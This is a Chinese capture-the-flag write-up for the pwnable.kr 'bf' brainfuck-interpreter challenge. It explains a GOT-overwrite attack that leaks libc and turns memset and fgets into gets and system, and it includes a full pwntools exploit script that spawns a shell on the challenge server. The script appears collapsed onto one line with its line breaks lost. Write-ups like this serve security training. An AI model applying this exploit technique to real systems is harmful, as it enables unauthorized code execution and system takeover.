pwnable.kr第二关第一题:
=========================================
Download : http://pwnable.kr/bin/bf
Download : http://pwnable.kr/bin/bf_libc.so
Running at : nc pwnable.kr 9001
==========================================
一人饮酒醉的僵尸?? 这次题目也更偏向于PWN了吧...(?)也没有源代码了
丢可执行文件到ida,看一遍啥意思吧..
main()
brainf**k
程序首先需要用户输入,根据用户输入的内容,依次执行个字符代表的含义。
主要起作用的是圈出的tape变量,也就是do_brainfuck函数中的p指针,这个指针位于bss段,而不是栈中...
.bss段上面是.got.plt段,也就是说这个指针离got表很近,再看一保护情况
利用思路应该是修改got表。
如何修改?就是用指针p移动到got表中,然后用getchar进行修改。
如何得到shell?可以想到的方法是利用system('/bin/sh')这条指令 ,system函数在libc中,关于libc中的地址一定有随机化,所以要考虑泄露这部分地址方法。
泄露方法可以用p指针移动到got表中,读出got地址,这个地址在调用一次xx@plt后就指向了libc中地址,注意,这很重要。
再考虑‘/bin/sh’字符串,这个可以从libc中泄露,不过该不了其他地方的地址,貌似作用不大。。。只能从用户输入入手。
main函数中这两个函数可以改为 gets(&v6);system(&v6);这样的操作。
因此需要修改的地方也就确定了
got表中
1. memset地址改成 gets地址
2. fgets地址改成system地址
此外,由于很显然,这步骤是第二次运行main函数的,需要让函数可以返回到main函数的开始部分,可以考虑用got表中putchar函数的地址覆盖为main函数地址。
泄露,也是用putchar函数。先调用putchar函数再泄露,先调用putchar函数再泄露,先调用putchar函数再泄露!!!
最终代码如下:
#coding:utf-8 import time from pwn import * elf = ELF('./bf') #libc = ELF('./libc.so.6') libc = ELF('./bf_libc.so') #function def back(n): print n return '>'*n def forward(n): print n return '<'*n ptr_addr = 0x0804a0a0 main_addr = 0x08048671 # got fgets_got = elf.got['fgets'] print 'fgets_got',hex(fgets_got) putchar_got = elf.got['putchar'] print 'putchar_got',hex(putchar_got) memset_got = elf.got['memset'] print 'memset_got',hex(memset_got) #libc sys_libc = libc.symbols['system'] putchar_libc = libc.symbols['putchar'] gets_libc = libc.symbols['gets'] pro = remote('pwnable.kr',9001) #pro = process('./bf') print pro.recv() #print pro.recv() payload = "." payload += forward(ptr_addr - putchar_got) payload += ".>.>.>." payload += forward(3) +',>,>,>,' #main payload += forward(3) + forward(putchar_got - memset_got ) payload += ',>,>,>,' payload += forward(3) + forward(memset_got - fgets_got) payload += ',>,>,>,' #sys #fgets payload += "." print payload,len(payload) print '='*32 pro.sendline(payload) time.sleep(1) pro.recv(1) putchar_libc_addr = u32(pro.recv(4)) print '[*] putchar',hex(putchar_libc_addr) print '='*32 sys_libc_addr = putchar_libc_addr - putchar_libc + sys_libc gets_libc_addr = putchar_libc_addr - putchar_libc + gets_libc print '[*] system ',hex(sys_libc_addr) print '[*] main ',hex(main_addr) print '[*] putchar ', hex(putchar_libc_addr) print '='*32 print '[*] putchar_got ',hex(putchar_got) print '[*] gets ',hex(gets_libc_addr) pro.send(p32(main_addr)) #gdb.attach(pro) pro.send(p32(gets_libc_addr)) #gdb.attach(pro) pro.send(p32(sys_libc_addr)) #gdb.attach(pro) ##pro.recv() #exit(0) #print pro.recv() pro.sendline('/bin/sh ') #gdb.attach(pro) time.sleep(1) pro.interactive()
flag: